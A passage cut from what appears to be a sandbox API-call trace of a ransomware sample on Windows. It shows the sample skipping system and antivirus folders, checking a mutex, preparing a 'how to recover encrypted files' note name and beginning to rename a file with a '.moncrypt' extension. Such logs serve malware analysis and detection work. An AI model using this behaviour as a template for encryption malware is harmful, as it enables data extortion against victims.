SQL Server Compact Edition\\") returned 37 [0046.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0046.870] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@╜R企@\x18?T\x18q")) returned 0xffffffff [0046.870] GetLastError () returned 0x2 [0046.870] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\⡀Rà") returned 6 [0046.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0046.870] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@ꐬR企@\x18?T\x18y")) returned 0xffffffff [0046.871] GetLastError () returned 0x2 [0046.871] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0046.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0046.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@⊤R企@\x18?T\x18\x81")) returned 0xffffffff [0046.871] GetLastError () returned 0x2 [0046.871] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0046.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0046.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@╜R企@\x18?T\x18\x88")) returned 0xffffffff [0046.872] GetLastError () returned 0x2 [0046.872] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0046.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0046.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@ꐬR企@\x18?T\x18\x8f")) returned 0xffffffff [0046.872] GetLastError () returned 0x2 [0046.872] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0046.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0046.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@⊤R企@\x18?T\x18\x97")) returned 0xffffffff [0046.873] GetLastError () returned 0x2 [0046.873] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0046.873] GlobalLock (hMem=0x440004) returned 0x552180 [0046.873] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.873] GlobalUnlock (hMem=0x440004) returned 0 [0046.873] GlobalLock (hMem=0x440004) returned 0x552180 [0046.873] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.873] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.873] GlobalUnlock (hMem=0x440004) returned 0 [0046.873] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.873] GlobalUnlock (hMem=0x44000c) returned 0 [0046.873] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.873] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.874] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.874] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0046.874] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.874] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0046.874] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.874] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0046.874] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.874] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.874] GlobalUnlock (hMem=0x44000c) returned 0 [0046.874] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.874] GlobalLock (hMem=0x440004) returned 0x554190 [0046.874] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.874] GlobalUnlock (hMem=0x44000c) returned 0 [0046.874] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.874] GlobalUnlock (hMem=0x440004) returned 0 [0046.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0046.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0046.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0046.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0046.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0046.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0046.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0046.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0046.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0046.877] GlobalLock (hMem=0x440004) returned 0x552180 [0046.877] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.877] GlobalUnlock (hMem=0x440004) returned 0 [0046.877] GlobalLock (hMem=0x440004) returned 0x552180 [0046.877] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.877] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.877] GlobalUnlock (hMem=0x440004) returned 0 [0046.877] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.877] GlobalUnlock (hMem=0x44000c) returned 0 [0046.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d98, cbMultiByte=3, lpWideCharStr=0x18d758, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0046.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.877] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.877] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0046.877] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.877] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.877] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.877] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.877] GlobalUnlock (hMem=0x44000c) returned 0 [0046.877] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.877] GlobalLock (hMem=0x440004) returned 0x555198 [0046.877] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.877] GlobalUnlock (hMem=0x44000c) returned 0 [0046.877] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.877] GlobalUnlock (hMem=0x440004) returned 0 [0046.877] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.878] CharLowerBuffW (in: lpsz="ea-sym.xml", cchLength=0xa | out: lpsz="ea-sym.xml") returned 0xa [0046.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", cchWideChar=83, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpUsedDefaultChar=0x0) returned 83 [0046.878] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpUsedDefaultChar=0x0) returned 4 [0046.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0046.879] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dc8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0046.879] CloseHandle (hObject=0x190) returned 1 [0046.880] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\я")) returned 1 [0046.881] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 0x54e280 [0046.881] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.881] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.881] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", dwFileAttributes=0x20) returned 0 [0046.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.881] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft 